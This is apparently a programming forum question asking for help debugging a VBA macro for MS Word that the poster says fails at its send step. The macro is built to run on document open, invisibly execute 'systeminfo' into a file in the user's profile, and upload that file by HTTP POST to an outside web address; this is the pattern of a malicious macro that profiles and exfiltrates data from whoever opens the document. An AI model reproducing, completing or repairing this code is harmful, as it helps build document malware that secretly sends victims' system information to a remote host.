Send file via post in visual basic

i'm coding a macro in MS Word to execute a command in cmd and send it to the remote server via POST. I have no expirience in VB so the error could be easy to solve, but i have no idea what i'm doing wrong.

Code:

Sub Run_Cmd(command, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "%COMSPEC% /c " & command, visibility, wait_on_execute
End Sub

Sub Run_Program(program, arguments, visibility, wait_on_execute)
Dim WshShell As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run program & " " & arguments & " ", visibility, wait_on_execute
End Sub

Const INVISIBLE = 0
Const WAIT = True
Sub pvPostFile(sUrl As String, sFileName As String, sPath As String, Optional ByVal bAsync As Boolean)
    Const STR_BOUNDARY  As String = "3fbd04f5-b1ed-4060-99b9-fca7ff59c113"
    Dim nFile           As Integer
    Dim baBuffer()      As Byte
    Dim sPostData       As String
    '--- read file
    nFile = FreeFile
    Open sPath For Binary Access Read As nFile
    If LOF(nFile) > 0 Then
        ReDim baBuffer(0 To LOF(nFile) - 1) As Byte
        Get nFile, , baBuffer
        sPostData = StrConv(baBuffer, vbUnicode)
        MsgBox sPostData
    End If
    Close nFile
    '--- prepare body
    sPostData = "--" & STR_BOUNDARY & vbCrLf & _"Content-Dis name=""uploadfile""; filename=""" & Mid$(sFileName, InStrRev(sFileName, "\") + 1) & """" & vbCrLf & _"Content-Type: application/octet-stream" & vbCrLf & vbCrLf & _
        sPostData & vbCrLf & _"--" & STR_BOUNDARY & "--"
    '--- post
    With CreateObject("Microsoft.XMLHTTP")
        .Open "POST", sUrl, bAsync
        .SetRequestHeader "Content-Type", "multipart/form-data; boundary=" & STR_BOUNDARY
        .Send pvToByteArray(sPostData)
    End With
End Sub
Function pvToByteArray(sText As String) As Byte()
    pvToByteArray = StrConv(sText, vbFromUnicode)
End Function
Sub Workbook_Open()
Run_Cmd "systeminfo > %USERPROFILE%\temp.txt", INVISIBLE, WAIT
Dim envstring As String
envstring = Environ$("USERPROFILE")
envstring = envstring & "\temp.txt"
pvPostFile "http://testujemywordpressa.pl/index.php", "temp.txt", envstring
End Sub

it's failing on :         .Send pvToByteArray(sPostData)